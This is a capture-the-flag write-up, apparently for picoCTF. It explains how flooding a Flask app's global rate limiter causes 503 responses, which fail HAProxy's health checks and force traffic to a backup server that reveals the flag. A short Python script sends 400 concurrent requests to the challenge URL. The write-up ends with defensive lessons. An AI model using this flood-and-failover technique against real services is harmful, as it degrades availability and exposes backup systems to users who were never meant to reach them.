Overview

We're given two files — an HAProxy load balancer config and a Flask app. The goal is to retrieve the flag hidden on the backup server.

Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, HAProxy config analysis

Step 1 — Analyzing the HAProxy Config

backend servers
    option httpchk GET /
    http-check expect status 200
    server s1 *:8000 check inter 2s fall 2 rise 3
    server s2 *:9000 check backup inter 2s fall 2 rise 3

Key observations:

• s1 (port 8000) is the primary server
• s2 (port 9000) is the backup server — only used when s1 is down
• Health check runs GET / every 2 seconds and expects HTTP 200
• fall 2 means s1 is marked down after 2 consecutive failed health checks
• rise 3 means s1 needs 3 successful checks to come back online

Step 2 — Analyzing the Flask App

if os.getenv("IS_BACKUP") == "yes":
    flag = os.getenv("FLAG")
else:
    flag = "No flag in this service"

The flag is only available on the backup server where IS_BACKUP=yes.

The real vulnerability is in the rate limiter:

limiter = Limiter(
    key_func=global_rate_limit_key,  # global limit, not per-IP!
    default_limits=["300 per minute"]
)

@app.errorhandler(429)
def ratelimit_exceeded(e):
    return "Service Unavailable: Rate limit exceeded", 503

When the rate limit is exceeded, the server returns 503 instead of 200 — which fails the HAProxy health check.

Step 3 — The Attack Plan

The chain of events we need to trigger:

1. Flood the primary server (s1) with 300+ requests per minute
2. s1 starts returning 503 due to rate limiting
3. HAProxy health check sees 503 (not 200) → marks s1 as down after 2 failures
4. HAProxy switches all traffic to the backup server s2
5. s2 has IS_BACKUP=yes → returns the flag

Step 4 — Exploit Script

import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://CHALLENGE_URL/"

def send():
    try:
        return requests.get(url, timeout=5)
    except:
        pass

# Flood s1 to trigger rate limiting
print("[*] Flooding primary server...")
with ThreadPoolExecutor(max_workers=50) as ex:
    futures = [ex.submit(send) for _ in range(400)]

# Now fetch — should hit backup server
print("[*] Fetching flag from backup server...")
resp = requests.get(url)
print(resp.text)

Step 5 — Getting the Flag

After flooding the primary server, the next request routes to the backup:

picoCTF{...flag...}

Flag captured!

Vulnerability Summary

1. Global rate limiter — Shared across all users, not per-IP. Any single user can exhaust the limit for everyone, triggering system-level side effects.

2. HAProxy health check fails on 503 — An attacker can deliberately trigger 503s to force failover to the backup server.

3. Flag on backup server — Placing sensitive data on a "backup" assuming it won't be reached is a false assumption. All servers in a cluster must be treated as equally reachable.

Lessons Learned

• Never put sensitive data exclusively on a backup server. The assumption that it won't be reached under normal conditions is exactly what an attacker will exploit.
• Use per-IP rate limiting. Global limits let a single user starve everyone else and trigger system-level side effects like this failover.
• Health check endpoints should be rate-limit exempt. Mixing health checks with user-facing rate limiting creates an unintended control surface for attackers.
• All servers in a cluster are attack surface. Design every node as if it could be directly targeted.

Thanks for reading! If you found this helpful, consider following for more CTF writeups.